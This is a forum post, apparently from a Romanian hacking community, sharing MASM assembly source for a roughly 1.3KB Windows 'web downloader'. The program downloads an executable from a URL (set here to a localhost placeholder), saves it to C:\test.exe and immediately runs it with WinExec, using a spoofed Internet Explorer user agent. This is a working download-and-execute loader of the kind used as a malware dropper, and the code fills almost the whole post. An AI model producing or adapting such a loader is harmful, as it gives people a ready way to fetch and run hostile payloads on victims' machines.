Jump to content
SlicK

Web Downloader (asm)

Recommended Posts

Posted

Asamblat cu MASM. Executabilul are in jur de 1.3KB


.386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\wininet.inc
includelib \masm32\lib\wininet.lib
includelib \masm32\lib\kernel32.lib
.data
URL db 'http://127.0.0.1/test.exe',0 ;fiserul de downloadat
SAVE db 'C:\test.exe',0 ;locatia unde sa fie salvat
agent db 'Internet Explorer',0 ;user agentul pentru request
; handle'uri
ih dd 0
uh dd 0
fh dd 0
; buffere
buffer dd 0
temp dd 0

.code
start:

invoke GlobalAlloc,GPTR,16302 ;alocam un buffer pentru stocarea fisierului (16302 bytes are testul meu)
mov buffer,eax ;stocam valoarea returata

invoke InternetOpen,addr agent,0,0,0,0 ;deschidem interfata wininet
mov ih,eax

invoke InternetOpenUrl,ih,addr URL,0,0,0,0 ;facem requestul
mov uh,eax

invoke InternetReadFile,uh,buffer,16302,addr temp ;citim fisierul in buffer

invoke CloseHandle,uh ;inchidem handle'urile

invoke CloseHandle,ih

invoke CreateFile,addr SAVE,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 ;creem fisierul
mov fh,eax

invoke WriteFile,fh,buffer,16302,addr temp,0 ;scriem bufferul in fisier

invoke CloseHandle,fh ;inchidem fisierul

invoke WinExec,addr SAVE,SW_SHOWNORMAL ;executam fisierul downloadat

invoke ExitProcess,0 ;inchidem procesul

end start

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...